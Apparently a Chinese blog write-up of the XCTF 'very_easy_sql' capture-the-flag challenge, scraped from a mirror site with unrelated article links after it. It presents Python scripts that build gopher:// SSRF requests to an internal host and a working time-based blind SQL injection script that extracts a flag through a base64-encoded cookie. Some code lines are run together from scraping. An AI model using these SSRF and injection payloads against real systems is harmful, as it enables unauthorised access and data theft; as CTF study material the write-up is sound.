当前位置: 首页 > news >正文

XCTF_very_easy_sql

  • 简单的进行sql注入测试后发现不简单
  • 尝试一下按照提示

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这里插入图片描述

  • 结合这句提示
  • 应该是内部访问,所以采用的手段应该是ssrf
  • 顺便看看包
    在这里插入图片描述
  • 唯一值得关注的是set-cookie
  • 说回ssrf
  • 唯一能使用的方式应该是Gopher协议
  • 找到了一个POST的python脚本
import urllib.parsepayload = """
POST /index.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
uname=admin&passwd=admin
"""
tmp = urllib.parse.quote(payload) 
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new 
result = urllib.parse.quote(result)
print(result) #输出结果
gopher://127.0.0.1:80/_POST%20/%20HTTP/1.1%0d%0aHost:%20127.0.0.1:80%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%2023%0d%0a%0d%0auname=rick&passwd=morty%0d%0a
  • 使用burp进行抓包
    请添加图片描述请添加图片描述

请添加图片描述

  • 似乎根据用户名分配cookie
  • 注入点在cookies
  • 构造
import urllib.parsehost = "127.0.0.1:80"
cookie="this_is_your_cookie=YWRtaW4nICM="test =\
"""GET /index.php HTTP/1.1
Host: {}
Connection: close
Content-Type: application/x-www-form-urlencoded
Cookie:{}""".format(host,cookie)tmp = urllib.parse.quote(test) 
new = tmp.replace("%0A","%0D%0A")
result = urllib.parse.quote(new) 
print("gopher://"+host+"/_"+result)
  • 然后进行内部网络盲注爆破字段
import urllib.parse
import requests
import time
import base64url = "http://61.147.171.105:52686//use.php?url="
flag = ""
for pos in range(1, 50):for i in range(33, 127):# poc="') union select 1,2,if(1=1,sleep(5),1) # "# security# poc="') union select 1,2,if(ascii( substr((database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "# flag# poc="') union select 1,2,if(ascii( substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),"+str(pos)+",1) )="+str(i)+",sleep(2),1) # "poc = "') union select 1,2,if(ascii( substr((select * from flag)," + str(pos) + ",1) )=" + str(i) + ",sleep(2),1) # "bs = str(base64.b64encode(poc.encode("utf-8")), "utf-8")final_poc = "gopher://127.0.0.1:80/_GET%20%2findex.php%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A80%250d%250aConnection%3A%20close%250d%250aContent-Type%3A%20application%2fx-www-form-urlencoded%250d%250aCookie%3A%20this%5Fis%5Fyour%5Fcookie%3D" + bs + "%3B%250d%250a"t1 = time.time()res = requests.get(url + final_poc)t2 = time.time()if (t2 - t1 > 2):flag += chr(i)print(flag)break
print(flag)- 执行结果

在这里插入图片描述

http://www.lryc.cn/news/102014.html

相关文章:

  • [React]useMemoizedFn和useCallback对比
  • 计算机毕设 深度学习人体跌倒检测 -yolo 机器视觉 opencv python
  • 完全背包
  • 【软件测试】webdriver常用API演示(Java+IDEA+chrome浏览器)
  • Linux安装MySQL 8.1.0
  • 多线程面试相关的一些问题
  • 【使用维纳滤波进行信号分离】基于维纳-霍普夫方程的信号分离或去噪维纳滤波器估计(Matlab代码实现)
  • Vue+axios如何解决跨域
  • 网络安全系统中的守护者:如何借助威胁情报 (TI) 提高安全性
  • 并发编程 - CompletableFuture
  • IPIDEA参展ChinaJoy!探索未来创新科技的峰会之旅
  • 2023最新ChatGPT商业运营版网站源码+支持ChatGPT4.0+GPT联网+支持ai绘画(Midjourney)+支持Mind思维导图生成
  • 轮趣科技教育版ros小车键盘控制运动
  • 深入理解Python中的os.chdir()方法
  • 【Golang 接口自动化02】使用标准库net/http发送Post请求
  • LaTex语法(常用数学符号的语法和注意事项)
  • Yunfly 一款高效、性能优异的node.js企业级web框架
  • mac m1安装Centos9
  • 深入理解mAP
  • PostGis -基础、Springboot 整合、电子围栏处理
  • 【Linux】多线程的补充
  • 【MySQL】表的操作
  • 自动化测试 selenium(测试系列7)
  • 小研究 - JVM 垃圾回收方式性能研究(二)
  • 【网络安全带你练爬虫-100练】第15练:模拟用户登录
  • Ansible
  • kafka:消费者从指定时间的偏移开始消费(二)
  • Spring的加载配置文件、容器和获取bean的方式
  • (二)利用Streamlit创建第一个app——单页面、多页面
  • 一条sql查询语句在mysql中的执行过程是什么